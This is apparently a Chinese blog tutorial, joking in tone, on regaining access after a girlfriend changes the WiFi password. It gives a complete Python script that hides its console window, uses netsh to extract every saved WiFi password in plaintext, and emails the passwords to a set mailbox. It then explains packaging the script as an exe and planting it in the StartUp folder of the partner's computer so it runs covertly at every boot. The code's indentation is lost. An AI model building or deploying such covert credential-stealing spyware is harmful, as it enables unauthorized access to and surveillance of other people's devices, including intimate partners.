和女朋友吵架了,她一氣之下把WIFI密碼改了。雖說現在手機流量已是白菜價,只看看新聞,玩玩手機遊戲還行,但若是下載幾個G的軟件或看部電影,那再多的流量也不夠你用。今天就教大家一個一勞永逸的辦法,不需要暴力破解,在WIFI密碼被改的情況下分分鐘重新連上家裡的無線網。
第一步,用Python編寫密碼發送程序
先上代碼:
------
#coding:utf-8
import os
import re
import smtplib
from email.mime.text import MIMEText
from email.header import Header
import win32api, win32gui
#程序運行的瞬間cmd窗口一閃即關,增強隱蔽性
ct = win32api.GetConsoleTitle()
hd = win32gui.FindWindow(0,ct)
win32gui.ShowWindow(hd,0)
#讀取本機WIFI信息
a=os.popen('netsh wlan show profiles')
b=a.read()
c=re.findall('所有用戶配置文件 : (.*?)\n',b,re.S)
s=""
for i in c:
a=os.popen('netsh wlan show profiles '+i+' key=clear')
b=a.read()
c=re.findall('關鍵內容 : (.*?)\n\n費用設置',b,re.S)
for ii in c:
s=s+"WIFI名稱:"+str(i)+" "+"WIFI密碼:"+str(ii)+'\n'
#將wifi信息發送到指定郵箱
message = MIMEText(s, 'plain', 'utf-8')
mailname="xxx" #發送和接收的郵箱地址,這裡設為同一個
message['Subject'] = Header("WIFI賬號信息", 'utf-8')
try:
smtpObj = smtplib.SMTP()
smtpObj.connect("smtp.xxx.com", 25) #smtp服務器地址
smtpObj.login("xxx","xxx") #郵箱發送方的賬號和密碼
smtpObj.sendmail(mailname, mailname, message.as_string())
print("郵件發送成功")
exit(0)
except smtplib.SMTPException:
print(" 郵件發送失敗")
exit(1)
------
代碼就不分析了,只說個大概的思路。先讀取本機的WIFI賬號和密碼,然後將讀取到的信息發送到指定郵箱。
收到的郵件內容示例:
WIFI名稱:xiaoli WIFI密碼:xxxxxx WIFI名稱:jack WIFI密碼:xxxxxx ……
第二步,將編寫完的Python程序打包成exe可執行文件
1.安裝pyinstaller包
2.打開命令控制檯,定位到Python程序所在的目錄
3.輸入: pyinstaller -F Python文件名,開始打包
4.打包完成後,在剛才的目錄下找到dist文件夾,把裡面的exe文件拷出來
第三步,打開女朋友電腦,將exe文件拷到Windows啟動目錄(Win10啟動目錄一般是C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp),結束。
以後每次女朋友啟動電腦你就可以在郵箱收到最新的WiFI密碼啦。
學會了嗎?不過,首先你得有個女朋友,其次,這招只是個下策,趕緊和女朋友和好吧。
------
注:運行exe文件的操作系統必須是win10,若是win7可能讀不到WIFI密碼。
------